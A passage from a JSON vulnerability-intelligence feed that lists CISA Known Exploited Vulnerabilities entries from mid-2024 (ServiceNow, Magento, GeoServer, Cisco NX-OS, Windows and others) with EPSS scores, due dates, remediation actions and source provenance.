exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-5217","cveId":"CVE-2024-5217","aliases":[],"kind":"vulnerability","title":"ServiceNow Incomplete List of Disallowed Inputs Vulnerability","summary":"ServiceNow Washington DC, Vancouver, and earlier Now Platform releases contain an incomplete list of disallowed inputs vulnerability in the GlideExpression script. An unauthenticated user could exploit this vulnerability to execute code remotely.","detail":"CISA added this entry on 2024-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-07-29","updatedAt":null,"regions":["Global"],"vendor":"ServiceNow","product":"Utah, Vancouver, and Washington DC Now Platform","stacks":["ServiceNow","Utah, Vancouver, and Washington DC Now Platform"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-07-29","dueAt":"2024-08-19","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99628,"percentile":0.99948,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-5217&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-5217","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-07-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-5217 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-5217&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-5217, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-4792","cveId":"CVE-2012-4792","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Use-After-Free Vulnerability","summary":"Microsoft Internet Explorer contains a use-after-free vulnerability that allows a remote attacker to execute arbitrary code via a crafted web site that triggers access to an object that (1) was not properly allocated or (2) is deleted, as demonstrated by a CDwnBindInfo object.","detail":"CISA added this entry on 2024-07-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2024-07-23","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-07-23","dueAt":"2024-08-13","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.78823,"percentile":0.99588,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-4792&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-4792","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-07-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-4792 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-4792&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-4792, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-39891","cveId":"CVE-2024-39891","aliases":[],"kind":"vulnerability","title":"Twilio Authy Information Disclosure Vulnerability","summary":"Twilio Authy contains an information disclosure vulnerability in its API that allows an unauthenticated endpoint to accept a request containing a phone number and respond with information about whether the phone number was registered with Authy.","detail":"CISA added this entry on 2024-07-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-07-23","updatedAt":null,"regions":["Global"],"vendor":"Twilio","product":"Authy","stacks":["Twilio","Authy"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-07-23","dueAt":"2024-08-13","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01669,"percentile":0.76615,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-39891&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-39891","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-07-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-39891 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-39891&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-39891, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22948","cveId":"CVE-2022-22948","aliases":[],"kind":"vulnerability","title":"VMware vCenter Server Incorrect Default File Permissions Vulnerability","summary":"VMware vCenter Server contains an incorrect default file permissions vulnerability that allows a remote, privileged attacker to gain access to sensitive information.","detail":"CISA added this entry on 2024-07-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-07-17","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"vCenter Server","stacks":["VMware","vCenter Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-07-17","dueAt":"2024-08-07","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13282,"percentile":0.9636,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22948&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22948","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-07-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22948 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22948&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22948, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-28995","cveId":"CVE-2024-28995","aliases":[],"kind":"vulnerability","title":"SolarWinds Serv-U Path Traversal Vulnerability","summary":"SolarWinds Serv-U contains a path traversal vulnerability that allows an attacker access to read sensitive files on the host machine.","detail":"CISA added this entry on 2024-07-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-07-17","updatedAt":null,"regions":["Global"],"vendor":"SolarWinds","product":"Serv-U","stacks":["SolarWinds","Serv-U"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-07-17","dueAt":"2024-08-07","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99614,"percentile":0.99948,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-28995&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-28995","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-07-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-28995 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-28995&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-28995, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-34102","cveId":"CVE-2024-34102","aliases":[],"kind":"vulnerability","title":"Adobe Commerce and Magento Open Source Improper Restriction of XML External Entity Reference (XXE) Vulnerability","summary":"Adobe Commerce and Magento Open Source contain an improper restriction of XML external entity reference (XXE) vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2024-07-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-07-17","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Commerce and Magento Open Source","stacks":["Adobe Commerce and Magento","Adobe","Commerce and Magento Open Source"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-07-17","dueAt":"2024-08-07","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99994,"percentile":0.99987,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-34102&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-34102","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-07-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-34102 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-34102&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-34102, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-36401","cveId":"CVE-2024-36401","aliases":[],"kind":"vulnerability","title":"OSGeo GeoServer GeoTools Eval Injection Vulnerability","summary":"OSGeo GeoServer GeoTools contains an improper neutralization of directives in dynamically evaluated code vulnerability due to unsafely evaluating property names as XPath expressions. This allows unauthenticated attackers to conduct remote code execution via specially crafted input.","detail":"CISA added this entry on 2024-07-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-07-15","updatedAt":null,"regions":["Global"],"vendor":"OSGeo","product":"GeoServer","stacks":["OSGeo","GeoServer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-07-15","dueAt":"2024-08-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99813,"percentile":0.99959,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-36401&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-36401","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-07-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-36401 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-36401&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-36401, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-23692","cveId":"CVE-2024-23692","aliases":[],"kind":"vulnerability","title":"Rejetto HTTP File Server Improper Neutralization of Special Elements Used in a Template Engine Vulnerability","summary":"Rejetto HTTP File Server contains an improper neutralization of special elements used in a template engine vulnerability. This allows a remote, unauthenticated attacker to execute commands on the affected system by sending a specially crafted HTTP request.","detail":"CISA added this entry on 2024-07-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-07-09","updatedAt":null,"regions":["Global"],"vendor":"Rejetto","product":"HTTP File Server","stacks":["Rejetto","HTTP File Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-07-09","dueAt":"2024-07-30","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99485,"percentile":0.99944,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-23692&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-23692","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-07-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-23692 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-23692&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-23692, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38080","cveId":"CVE-2024-38080","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Hyper-V Privilege Escalation Vulnerability","summary":"Microsoft Windows Hyper-V contains a privilege escalation vulnerability that allows a local attacker with user permissions to gain SYSTEM privileges.","detail":"CISA added this entry on 2024-07-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-07-09","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Hyper-V","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-07-09","dueAt":"2024-07-30","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07115,"percentile":0.94201,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38080&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38080","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-07-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38080 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38080&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38080, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38112","cveId":"CVE-2024-38112","aliases":[],"kind":"vulnerability","title":"Microsoft Windows MSHTML Platform Spoofing Vulnerability","summary":"Microsoft Windows MSHTML Platform contains a spoofing vulnerability that has a high impact to confidentiality, integrity, and availability.","detail":"CISA added this entry on 2024-07-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-07-09","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-07-09","dueAt":"2024-07-30","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84225,"percentile":0.99694,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38112&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38112","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-07-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38112 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38112&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38112, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-20399","cveId":"CVE-2024-20399","aliases":[],"kind":"vulnerability","title":"Cisco NX-OS Command Injection Vulnerability","summary":"Cisco NX-OS contains a command injection vulnerability in the command line interface (CLI) that could allow an authenticated, local attacker to execute commands as root on the underlying operating system of an affected device.","detail":"CISA added this entry on 2024-07-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-07-02","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"NX-OS","stacks":["Cisco","NX-OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-07-02","dueAt":"2024-07-23","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04306,"percentile":0.91081,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-20399&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-20399","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-07-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-20399 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-20399&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-20399, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-13965","cveId":"CVE-2020-13965","aliases":[],"kind":"vulnerability","title":"Roundcube Webmail Cross-Site Scripting (XSS) Vulnerability","summary":"Roundcube Webmail contains a cross-site scripting (XSS) vulnerability that allows a remote attacker to manipulate data via a malicious XML attachment.","detail":"CISA added this entry on 2024-06-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-06-26","updatedAt":null,"regions":["Global"],"vendor":"Roundcube","product":"Webmail","stacks":["Roundcube","Webmail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-06-26","dueAt":"2024-07-17","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.76596,"percentile":0.99539,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-13965&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-13965","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-06-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-13965 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-13965&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-13965, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-24816","cveId":"CVE-2022-24816","aliases":[],"kind":"vulnerability","title":"OSGeo GeoServer JAI-EXT Code Injection Vulnerability","summary":"OSGeo GeoServer JAI-EXT contains a code injection vulnerability that, when programs use jt-jiffle and allow Jiffle script to be provided via network request, could allow remote code execution.","detail":"CISA added this entry on 2024-06-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-06-26","updatedAt":null,"regions":["Global"],"vendor":"OSGeo","product":"JAI-EXT","stacks":["OSGeo","JAI-EXT"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-06-26","dueAt":"2024-07-17","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99911,"percentile":0.99967,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-24816&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-24816","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-06-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-24816 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-24816&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-24816, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-2586","cveId":"CVE-2022-2586","aliases":[],"kind":"vulnerability","title":"Linux Kernel Use-After-Free Vulnerability","summary":"Linux Kernel contains a use-after-free vulnerability in the nft_object, allowing local attackers to escalate privileges.","detail":"CISA added this entry on 2024-06-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","publishedAt":"2024-06-26","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-06-26","dueAt":"2024-07-17","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10202,"percentile":0.95637,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-2586&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-2586","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-06-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-2586 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-2586&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-2586, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-26169","cveId":"CVE-2024-26169","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Error Reporting Service Improper Privilege Management Vulnerability","summary":"Microsoft Windows Error Reporting Service contains an 